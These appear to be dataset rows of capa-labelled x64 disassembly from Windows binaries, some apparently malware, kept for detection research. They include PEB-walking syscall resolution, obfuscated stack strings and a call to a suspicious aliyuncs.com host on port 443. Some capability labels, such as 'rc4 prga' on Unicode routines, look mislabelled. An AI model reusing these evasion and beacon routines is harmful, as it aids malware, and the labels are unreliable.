joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001f3c4
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140037e10]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14001f422
cmp word [rdx], r12w
jne 0x14001f422
or byte [rax + r8*8 + 0x38], cl
jmp 0x14001f428
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14001f583
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14001f55e
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14001f461
mov rcx, r9
jmp 0x14001f484
cmp r9, rdx
jae 0x14001f49b
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14001f445
jmp 0x14001f583
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001f558
cmp dword [rsp + 0x80], edi
je 0x14001f558
mov rdx, r14
lea r11, [0x140037e10]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14001f531
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14001f504
mov word [rbx], r12w
jmp 0x14001f57f
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14001f50d
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14001f57f
cmp word [rsp + 0x70], r12w
jne 0x14001f53e
cmp rbx, rsi
je 0x14001f4fe
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140020050
cmp word [rsp + 0x70], r12w
je 0x14001f583
mov word [rbx], r13w
jmp 0x14001f57f
lea r11, [0x140037e10]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14001f57b
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14001f583
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140021534
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400154a8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400215be
cmp byte [rbp - 0x21], r15b
je 0x1400215b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400215f4
call fcn.14001ba90
test eax, eax
jne 0x1400215e0
cmp byte [rbp - 0x21], r15b
je 0x1400215d8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400215f4
cmp byte [rbp - 0x21], r15b
je 0x1400215f1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140015638
test eax, eax
jne 0x140021694
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400154a8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140021633
cmp byte [rbp - 0x21], r15b
je 0x140021668
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140021668
call fcn.14001ba90
test eax, eax
jne 0x140021654
cmp byte [rbp - 0x21], r15b
je 0x14002164d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140021668
cmp byte [rbp - 0x21], r15b
je 0x140021665
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140015638
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140021694
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140021697
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400216a5
mov rcx, rdi
call fcn.1400168a4
cmp byte [rbp + 0x3f], r15b
je 0x1400216b4
mov rcx, qword [rbp + 0x27]
call fcn.1400168a4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400236b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400236d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400236d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001c950
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
test rdx, rdx
je 0x14001cb3a
add rdx, rcx
xor eax, eax
xor r9d, r9d
jmp 0x14001c98a
xor r11b, 1
movzx r8d, r11b
add rax, r8
mov r8d, r9d
mov r9d, r8d
cmp rcx, rdx
je 0x14001cb3c
movzx r10d, byte [rcx]
test r10b, r10b
js 0x14001c9b0
inc rcx
mov r8b, 1
cmp r10d, 0x20
jae 0x14001ca50
jmp 0x14001c97e
mov r8d, r10d
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp r10b, 0xe0
jb 0x14001ca13
movzx r11d, byte [rcx + 2]
shl esi, 6
and r11d, 0x3f
or r11d, esi
cmp r10b, 0xf0
jb 0x14001ca2f
movzx r10d, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
or r10d, r8d
cmp r10d, 0x110000
je 0x14001cb3c
add rcx, 4
mov r8b, 1
cmp r10d, 0x20
jae 0x14001ca50
jmp 0x14001c97e
add rcx, 2
shl r8d, 6
or r8d, esi
mov r10d, r8d
mov r8b, 1
cmp r10d, 0x20
jae 0x14001ca50
jmp 0x14001c97e
add rcx, 3
shl r8d, 0xc
or r11d, r8d
mov r10d, r11d
mov r8b, 1
cmp r10d, 0x20
jb 0x14001c97e
nop word [rax + rax]
cmp r10d, 0x7f
je 0x14001c97e
mov r11d, r9d
and r11b, 1
je 0x14001c970
cmp r10d, 0x6d
jne 0x14001c970
cmp rcx, rdx
je 0x14001cb3c
movzx r10d, byte [rcx]
test r10b, r10b
js 0x14001ca95
inc rcx
cmp r10d, 0x20
jae 0x14001cb22
jmp 0x14001c97e
mov r9d, r10d
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp r10b, 0xdf
jbe 0x14001caf1
movzx r11d, byte [rcx + 2]
shl esi, 6
and r11d, 0x3f
or r11d, esi
cmp r10b, 0xf0
jb 0x14001cb0a
movzx r10d, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
or r10d, r9d
cmp r10d, 0x110000
je 0x14001cb3c
add rcx, 4
cmp r10d, 0x20
jae 0x14001cb22
jmp 0x14001c97e
add rcx, 2
shl r9d, 6
or r9d, esi
mov r10d, r9d
cmp r10d, 0x20
jae 0x14001cb22
jmp 0x14001c97e
add rcx, 3
shl r9d, 0xc
or r11d, r9d
mov r10d, r11d
cmp r10d, 0x20
jb 0x14001c97e
xor r11d, r11d
mov r9d, 0
cmp r10d, 0x7f
jne 0x14001c970
jmp 0x14001c97e
xor eax, eax
pop rsi
ret
Function at 0x14004d6b0
Capabilities:
Access peb ldr_data
Get process heap flags
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rsi
sub rsp, 0x70
mov eax, 0x30
mov rax, qword gs:[eax]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov r8, qword [rax + 0x20]
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x14004d7cd
movsxd rax, dword [r8 + 0x3c]
cmp dword [r8 + rax], 0x4550
jne 0x14004d7fc
mov edx, ecx
mov eax, dword [r8 + rax + 0x88]
mov ecx, dword [r8 + rax]
movups xmm0, xmmword [r8 + rax + 4]
mov r9, qword [r8 + rax + 0x14]
mov dword [rsp + 0x48], ecx
movups xmmword [rsp + 0x4c], xmm0
mov qword [rsp + 0x5c], r9
mov rcx, qword [r8 + rax + 0x1c]
mov qword [rsp + 0x64], rcx
mov eax, dword [r8 + rax + 0x24]
mov dword [rsp + 0x6c], eax
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
call fcn.14004d8c0
cmp qword [rsp + 0x30], 0
jne 0x14004d82b
movzx eax, word [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
lea rdx, [rcx + 1]
xor r8d, r8d
jmp 0x14004d771
add r8, 0xfffffffffffffffe
add rdx, 2
cmp r8, 0xffffffffffffff02
je 0x14004d7a4
cmp byte [rdx], 0xf
jne 0x14004d782
cmp byte [rdx + 1], 5
jne 0x14004d782
cmp byte [rdx + 2], 0xc3
je 0x14004d79e
cmp byte [rdx + 1], 0xf
jne 0x14004d760
cmp byte [rdx + 2], 5
jne 0x14004d760
cmp byte [rdx + 3], 0xc3
jne 0x14004d760
sub rcx, r8
add rcx, 2
mov rdx, rcx
add rsp, 0x70
pop rsi
ret
lea rax, [0x140074d70]
mov qword [rsp + 0x20], rax
lea rcx, str.____Error_retrieving_syscall_address
lea r9, [0x140074c80]
lea r8, [rsp + 0x2f]
mov edx, 0x24
call fcn.14006a7f0
movzx eax, byte [0x14007f101]
mov esi, 0x19
mov ecx, 0x19
mov edx, 1
call fcn.140008910
test rax, rax
jne 0x14004d854
mov ecx, 1
mov edx, 0x19
call fcn.14006a2e0
movzx eax, byte [0x14007f101]
mov esi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140008910
test rax, rax
jne 0x14004d86b
mov ecx, 1
mov edx, 0x18
call fcn.14006a2e0
lea rax, [0x140074d30]
mov qword [rsp + 0x20], rax
lea rcx, str.____Error_getting_syscall_number
lea r9, [0x140074c80]
lea r8, [rsp + 0x2f]
mov edx, 0x20
call fcn.14006a7f0
movups xmm0, xmmword [0x140074da9]
movups xmmword [rax + 9], xmm0
movups xmm0, xmmword [0x140074da0]
movups xmmword [rax], xmm0
jmp 0x14004d883
movups xmm0, xmmword [str.____INVALID_NT_SIGNATURE____INVALID_DOS_SIGNATURE]
movups xmmword [rax], xmm0
movabs rcx, 0x45525554414e4749
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
lea rax, [0x140074cf8]
mov qword [rsp + 0x20], rax
lea rcx, str.____Error_exporting_DLLsyscall_src_syscall_resolve.rs
lea r9, [0x140074ca0]
lea r8, [rsp + 0x30]
mov edx, 0x17
call fcn.14006a7f0
int3
Function at 0x140050ee0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140050f80
jmp 0x140050f6f
jae 0x14005103f
cmp r8, 0x201
jae 0x140050f80
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x140050fd7
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x140050faf
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.140069570
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140051000
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400510ab
mov r8d, r13d
cmp r12, r8
jne 0x140050f60
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400510df
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x140050f6f
jmp 0x140050f80
cmp r14, r8
jb 0x1400510f9
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.140054350
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140051094
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.140008920
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x14005107f
jmp 0x140051094
lea rcx, str.internal_error:_entered_unreachable_code_rustc_3f5fd8dd41153bc5fdca9427e9e05be2c767ba23library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14006a540
jmp 0x14005110e
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14006a8f0
ud2
Function at 0x140058a70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x1400769c8]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x140058aa8
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140058b06
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x140058b33
test eax, eax
js 0x140058b12
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x140058b29
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.140053fc0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.14004f3a0
mov ecx, 7
int 0x29
ud2
Function at 0x140066ac0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x140066b4a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140066b40
cmp r11, r10
ja 0x140066bc6
cmp r10, rdx
ja 0x140066bd8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x140066b42
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140066b20
jmp 0x140066ba7
ja 0x140066b4a
mov r11, r10
cmp rax, r8
jne 0x140066ae7
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x140066bab
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140066b80
mov r8, r10
sub ecx, r9d
jns 0x140066b9e
jmp 0x140066bad
cmp r10, rdx
je 0x140066bba
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140066bad
xor al, 1
cmp r8, rdx
jne 0x140066b60
jmp 0x140066bad
xor eax, eax
jmp 0x140066bad
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14006a400
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14006a960
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14006a8f0
int3

Function at 0x140068914
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14006895e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006895e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006895e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006895e
cmp dword [rcx + 0x84], 0xe
jbe 0x14006895e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140068960
xor al, al
add rsp, 0x28
ret
Function at 0x1400012b0
Capabilities:
Link function at runtime on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x60
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
mov rax, qword [0x140013028]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbx, rdx
mov qword [r11 - 0x40], rdx
test rcx, rcx
jne 0x140001389
mov rcx, qword [rdx + 0x18]
cmp rcx, 0x10
jb 0x1400012f5
mov rdx, qword [rdx]
mov rax, qword [rbx + 0x10]
lea r8, [rdx + rax]
cmp rcx, 0x10
jb 0x140001308
mov rdx, qword [rbx]
jmp 0x14000130b
mov rdx, rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea rcx, [rsp + 0x30]
call fcn.140005040
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
cmp qword [rsp + 0x48], 8
jb 0x140001356
mov rcx, qword [rsp + 0x30]
call fcn.1400054e0
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
cmp qword [rbx + 0x18], 0x10
jb 0x140001378
mov rcx, qword [rbx]
call fcn.1400054e0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rdi
mov byte [rbx], 0
jmp 0x1400013bc
cmp qword [rdx + 0x18], 0x10
jb 0x140001393
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x1400013ab
mov rcx, qword [rbx]
call fcn.1400054e0
mov qword [rbx + 0x18], 0xf
xor edi, edi
mov qword [rbx + 0x10], rdi
mov byte [rbx], dil
mov rax, rsi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140005320
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140001aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140013028]
xor rax, rsp
mov qword [rbp], rax
mov rbx, rdx
mov rsi, rcx
mov dword [rbp - 0x20], 0x6e004e
mov dword [rbp - 0x1c], 0x4c007a
mov eax, 0x66
mov word [rbp - 0x18], ax
mov eax, 0x68
mov word [rbp - 0x16], ax
mov eax, 0x63
mov word [rbp - 0x14], ax
mov eax, 0x54
mov word [rbp - 0x12], ax
mov dword [rbp - 0x10], 0x7a0074
mov eax, 0x71
mov dword [rbp - 0xc], 0x710072
mov word [rbp - 8], ax
xor r12d, r12d
mov dword [rbp - 6], 0x67
mov dword [rbp - 0x30], 0x460072
mov eax, 0x4d
mov word [rbp - 0x2c], ax
mov eax, 0x65
mov word [rbp - 0x2a], ax
mov eax, 0x6d
mov word [rbp - 0x28], ax
mov dword [rbp - 0x26], 0x4e004f
mov word [rbp - 0x22], r12w
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], r12
mov word [rsp + 0x20], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x30]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x20]
call fcn.140004530
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], r12
mov word [rsp + 0x58], r12w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x20]
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x58]
call fcn.140004530
nop
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x58]
call fcn.140001050
nop
mov qword [rbp - 0x68], 0xf
mov qword [rbp - 0x70], r12
mov byte [rbp - 0x80], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.140003e20
mov edi, 0x1bb
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.1400012b0
xor r9d, r9d
movzx r8d, di
lea rdx, str.240728ssfdsfdsfdsdffwmm.oss_cn_beijing.aliyuncs.com
mov rcx, rsi
call rax
mov rdi, rax
cmp qword [rbp - 0x40], 0x10
jb 0x140001c42
mov rcx, qword [rbp - 0x58]
call fcn.1400054e0
mov rax, rdi
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140005320
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x140006138
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140005fa8

Function at 0x1400063ef
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140013028]
jne 0x14000533a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005336
repz ret
ror rcx, 0x10
jmp 0x140006348
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140014130]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140014228]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400063cd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140014130]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400063ef
mov rax, qword [rsp + 0x88]
mov qword [0x140014228], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400141c8], rax
mov rax, qword [0x140014228]
mov qword [0x1400140a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400141b0], rax
mov dword [0x140014090], 0xc0000409
mov dword [0x140014094], 1
mov rax, qword [0x140013028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140013030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140014128], eax
mov ecx, 1
call fcn.140009728
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000e300]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140014128], 0
jne 0x140006476
mov ecx, 1
call fcn.140009728
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000a49c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140013028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400075dc
xor ebx, ebx
cmp qword [0x140015080], rbx
mov rdi, rax
jne 0x14000a5af
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000a686
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000a686
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140015080], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140015088], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140015090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400150a0], rax
test rax, rax
je 0x14000a5a6
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140015098], rax
jmp 0x14000a5b6
mov rax, qword [0x140015098]
jmp 0x14000a5bd
mov rax, qword [0x140015098]
mov r11, qword [0x1400150a0]
cmp rax, rdi
je 0x14000a624
cmp r11, rdi
je 0x14000a624
mov rcx, rax
